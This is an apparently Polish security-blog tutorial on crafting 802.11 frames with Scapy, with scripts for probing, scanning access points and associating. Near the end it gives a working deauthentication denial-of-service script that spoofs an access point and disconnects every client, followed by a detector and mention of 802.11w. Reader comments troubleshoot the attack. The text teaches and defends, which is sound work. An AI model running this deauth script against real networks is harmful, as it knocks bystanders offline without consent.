Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Generowanie komunikacji WiFi w narzędziu Scapy
Scapy i WiFi
Scapy to program służący do manipulowania pakietami. Na sekuraku opisywany był już kilka razy. W tym tekście pokażę, jak wykorzystać go do komunikacji w sieci w standardzie 802.11.
Podstawy
Komunikaty wymieniane między punktem dostępowym a klientami uformowane są w ramki. Każda zgodna ze standardem ramka ma poniższą strukturę:
- nagłówek MAC:
- pole kontrolne (wersja, typ, podtyp),
- czas trwania/ID,
- kontrola sekwencji,
- pola adresowe,
- treść,
- suma kontrolna crc.
W polach adresowych możemy zdefiniować pięć adresów MAC: stacji przeznaczenia, odbiorcy, przekaźnika, źródła oraz BSSID (unikalny identyfikator stacji, zazwyczaj odpowiadający adresowi MAC interfejsu bezprzewodowego). Typ i podtyp definiuje funkcje ramki, natomiast wersja to zawsze dwa zerowe bity.
Reprezentacja ramki w Scapy jest bardzo prosta, podobnie jak jej wysłanie. Jednak przed rozpoczęciem komunikacji, musimy odpowiednio skonfigurować kartę sieciową. Po pierwsze – ustawiamy ją w tryb monitorowania (monitor mode). Dzięki temu będziemy odbierać wszystkie pakiety, a nie tylko te przeznaczone dla nas.
[root@gros]$ ifconfig wlp5s0 down [root@gros]$ iwconfig wlp5s0 mode monitor [root@gros]$ ifconfig wlp5s0 up
wlp5s0 to nazwa naszego interfejsu bezprzewodowego.
Następnie ustawiamy kanał (częstotliwość), którego używa nasz Access Point. Można go sprawdzić w panelu administracyjnym AP lub ustawiać kolejne kanały, do momentu trafienia właściwego.
[root@gros]$ iwconfig wlp5s0 channel 11
Potrzebny będzie nam też adres MAC naszego interfejsu. Można go sprawdzić poniższym poleceniem:
[root@gros]$ ip link show wlp5s0
Teraz możemy wysłać ramkę typu probe request. Adres odbiorcy ustawiony jest na rozgłoszeniowy, pozostałe zmienne należy odpowiednio ustawić:
#!/usr/bin/env python from scapy.all import * adres_mac_odbiorcy = 'ff:ff:ff:ff:ff:ff' twoj_adres_mac = '02:26:12:43:37:f5' ssid = 'Sc45y + W1F1' kanal = chr(11) interfejs = 'wlp5s0' ramka = RadioTap()\ /Dot11(type=0, subtype=4, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\ /Dot11ProbeReq()\ /Dot11Elt(ID='SSID', info=ssid)\ /Dot11Elt(ID='Rates', info='\x82\x84\x8b\x96\x0c\x12\x18')\ /Dot11Elt(ID='ESRates', info='\x30\x48\x60\x6c')\ /Dot11Elt(ID='DSset', info=kanal) odpowiedz = srp1(ramka, iface=interfejs) odpowiedz.show()
Ramka WiFi składa się z „warstw”. Scapy pozwala na składanie kolejnych warstw poprzez przeładowany operator „/”.
RadioTap to dodatkowa (nie będąca częścią standardu) warstwa, ułatwiająca przekazywanie informacji między warstwami OSI – będziemy zawsze dołączać ją na początku ramki.
Kolejną warstwę stanowi nagłówek MAC, reprezentowany przez klasę Dot11 (Dot11 to skrócona nazwa specyfikacji 802.11). Tutaj określamy typ, podtyp oraz adresy. Numeracja adresów jest następująca:
- addr1 – przeznaczenie/odbiorca
- addr2 – przekaźnik/źródło
- addr3 – BSSID
Kolejne warstwy stanowią właściwą treść ramki i zależą od podanego wcześniej typu. Scapy posiada kilka zdefiniowanych warstw, określających funkcje ramki (Dot11Beacon, Dot11ProbeReq, Dot11Auth, Dot11AssoReq…). Pozostałe musielibyśmy stworzyć ręcznie.
Na końcu, w warstwach Dot11Elt, umieszczamy niezbędne informacje: SSID, obsługiwane szybkości (maksymalnie osiem), dodatkowe obsługiwane szybkości, używany kanał.
Poleceniem srp1() wysyłamy stworzoną ramkę i czekamy na odpowiedź, którą następnie wypisujemy.
Wykrywanie Punktów Dostępowych
Komunikacja odbywająca się w omawianej warstwie ma cztery główne cele: skanowanie, uwierzytelnianie, przyłączanie i szyfrowanie.
Skanowanie sieci dzieli się na aktywne i pasywne. Pasywne polega na nasłuchiwaniu w celu wychwycenia ramek typu beacon. Ramki te są wysyłane przez AP na adres rozgłoszeniowy (ff:ff:ff:ff:ff:ff) i zawierają m.in. adres SSID oraz numer używanego kanału.
Jeśli nie chcemy czekać na pojawienie się ramki beacon, możemy skanować sieć aktywnie, wysyłając (zaprezentowaną wcześniej) ramkę probe request (jako adres odbiorcy podając adres punktu dostępowego lub rozgłoszeniowy). Jeśli AP jest w zasięgu, powinien odpowiedzieć ramką probe response.
Mając te informacje, możemy stworzyć prosty skaner sieci. Ponieważ urządzenia mogą komunikować się na różnych częstotliwościach, należy zmieniać kanały używane przez naszą kartę sieciową (channel hopping). W terminalu wpisujemy:
[root@gros]$ iwlist wlp5s0 channel [root@gros]$ while true; do for x in {1..13} {36..64..4} {100..140..4}; do iwconfig wlp5s0 channel $x; echo "Ustawiono kanal: $x" sleep 0.3; done clear; done
Pierwsze polecenie wyświetli listę dostępnych kanałów. Następnie – w odstępie 0.3 sekundy – zmieniamy używaną częstotliwość. Kanały 1-13 odpowiadają częstotliwości ~2.4GHz, kolejne ~5GHz.
Teraz – w nowym oknie konsoli, uruchamiamy skrypt wykrywający punkty dostępowe:
#!/usr/bin/env python from scapy.all import * interfejs = 'wlp5s0' znane={} def callback(ramka): if ramka.haslayer(Dot11): if ramka.haslayer(Dot11Beacon) or ramka.haslayer(Dot11ProbeResp): zrodlo=ramka[Dot11].addr2 if zrodlo not in znane: ssid = ramka[Dot11Elt][0].info kanal = ramka[Dot11Elt][2].info kanal = int(kanal.encode('hex'), 16) print "SSID: '{}', BSSID: {}, kanal: {}".format(ssid, zrodlo, kanal) znane[zrodlo]=True sniff(iface=interfejs, prn=callback)
Na początku definiujemy słownik, w którym będziemy umieszczać już rozpoznane punkty dostępowe. Następnie tworzymy funkcję callback, która będzie wywoływana w momencie wychwycenia każdej ramki. Jej zadaniem jest wyfiltrowanie ramek z warstwą beacon lub probe response oraz wyciągnięcie z nich interesujących nas informacji (SSID, BSSID, kanał). W ostatniej linii uruchamiamy sniffer.
Połączenie
W przypadku normalnej komunikacji, po znalezieniu odpowiedniego AP następują dwie fazy połączenia, uwierzytelnianie i asocjacja:
W Scapy, powyższy proces można zaprogramować w ten sposób:
#!/usr/bin/env python from scapy.all import * adres_mac_odbiorcy = '05:12:54:15:54:11' twoj_adres_mac = '02:26:12:43:37:f5' ssid = 'Sc45y + W1F1' kanal = chr(11) interfejs = 'wlp5s0' ALGO_OPEN_AUTH = 0 # tryb otwartego uwierzytelniania START_SEQNUM = 1 # numer sekwencyjny #uwierzytelnienie ramka1 = RadioTap()\ /Dot11(type=0, subtype=11, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\ /Dot11Auth(algo=ALGO_OPEN_AUTH, seqnum=START_SEQNUM) odpowiedz = srp1(ramka1, iface=interfejs) odpowiedz.show() #asocjacja ramka2 = RadioTap()\ /Dot11(type=0, subtype=0, addr1=adres_mac_odbiorcy, addr2=twoj_adres_mac, addr3=adres_mac_odbiorcy)\ /Dot11AssoReq()\ /Dot11Elt(ID='SSID', info=ssid)\ /Dot11Elt(ID='Rates', info='\x82\x84\x8b\x96\x0c\x12\x18')\ /Dot11Elt(ID='ESRates', info='\x30\x48\x60\x6c') odpowiedz = srp1(ramka2, iface=interfejs) odpowiedz.show()
Deauth, ARP spoofing…
Jednym z bardziej znanych ataków na sieci WiFi, jest Deauthentication DoS, pozwalający na rozłączenie wybranego klienta od punktu dostępowego. Jest banalny do przeprowadzenia i nie wymaga uwierzytelnienia. Jedyne co potrzebujemy, to BSSID punktu dostępowego oraz, ewentualnie, naszego celu. Całość polega na ciągłym wysyłaniu ramek deauth, podszywając się pod AP. Jeśli jako adres docelowy podamy rozgłoszeniowy, przerwiemy połączenie ze wszystkimi stacjami. Atak jest możliwy z powodu niedopracowania standardu: ramki zarządzania, w przeciwieństwie do ramek danych i kontrolnych, nie są szyfrowane.
#!/usr/bin/env python from scapy.all import * adres_mac_celu = 'ff:ff:ff:ff:ff:ff' adres_mac_AP = '05:12:54:15:54:11' interfejs = 'wlp5s0' ilosc = 10 opoznienie = 2 print "Atak deauth z {} na {}".format(adres_mac_AP, adres_mac_celu) while True: ramka = RadioTap()\ /Dot11(type=0, subtype=12, addr1=adres_mac_celu, addr2=adres_mac_AP, addr3=adres_mac_AP)\ /Dot11Deauth(reason=7) sendp(ramka, iface=interfejs, count=ilosc) time.sleep(opoznienie)
Wykrycie tego ataku jest równie proste, wystarczy zliczać ilość ramek deauth. Przykładowy skrypt realizujący to zadanie:
#!/usr/bin/env python from scapy.all import * wykryte = {} przedawnienie = 60 opoznienie = -256 def callback(ramka): if ramka.haslayer(Dot11Deauth): odbiorca = ramka[Dot11].addr1 zrodlo = ramka[Dot11].addr2 if wykryte.has_key(odbiorca) and (time.time() - wykryte[odbiorca]['czas'] < przedawnienie): wykryte[odbiorca]['ilosc']+=1 else: wykryte[odbiorca]={'ilosc':0, 'czas':time.time()} if wykryte[odbiorca]['ilosc'] > 10: print "Atak deauth z adresu {} na {}".format(zrodlo, odbiorca) wykryte[odbiorca]['ilosc'] = opoznienie sniff(iface='wlp5s0', prn=callback)
Zdecydowanie gorzej ma się sprawa ze zlokalizowaniem atakującego. W zasadzie jedyną opcją jest pomiar siły sygnału w kilku miejscach i ustalenie źródła na zasadzie triangulacji, co nie jest prostą sprawą. W celu obrony przed tymi (i podobnymi) atakami wprowadzono poprawkę 802.11w (Management Frame Protection). Umożliwia ona szyfrowanie niektórych ramek zarządzających. Obsługują ją linuxy (domyślnie wyłączone), Windows od wersji 8 oraz nowszy sprzęt sieciowy.
W podobny sposób możemy wykrywać inne popularne ataki, np. ARP poisoning czy Evil Twin AP. Takie rozwiązania polegają zazwyczaj na porównywaniu otrzymywanych informacji z tymi, które zapisaliśmy wcześniej w bazie danych. Za pomocą Scapy, dość prosto można stworzyć podstawowe narzędzia umożliwiające takie działania. Można też użyć bardziej zaawansowanych programów, np EvilAP_Defender lub ArpON.
~ Paweł Płatek
Bawił się ktoś „podmianą” bitów w ramkach wifi? Czy w ten sposób można próbować złamać szyfrowanie?
Mam problem z wysyłaniem ramek deauth.
Mimo, ze skrypt wykonuje sie bezblednie, karta jest ustawiona w tryb monitorowania, a kanal odpowiada kanalowi AP’a, to urzadzenia podlaczone do sieci nie otrzymuja wysylanych ramek. Dodam, ze probowalem roznych wariacji tego typu skryptow.
Czy problem moze polegac na nieporwanej instalacji Scapy?
Lenovo-Z70-80:~$ sudo scapy
INFO: Can’t import python gnuplot wrapper . Won’t be able to plot.
INFO: Can’t import PyX. Won’t be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can’t import python Crypto lib. Won’t be able to decrypt WEP.
INFO: Can’t import python Crypto lib. Disabled certificate manipulation tools
Welcome to Scapy (2.2.0)
Tutaj opisalem swoje nieudane proby:
http://askubuntu.com/questions/840843/sending-packets-with-scapy
A próbowałeś na nowszej wersji scapy? Oni w WiFi sporo tam teraz robią (najnowsza wersja to 2.3.2). Nie pamiętam dokładnie ale może być i z 2 lata nowsza niż to co masz ;)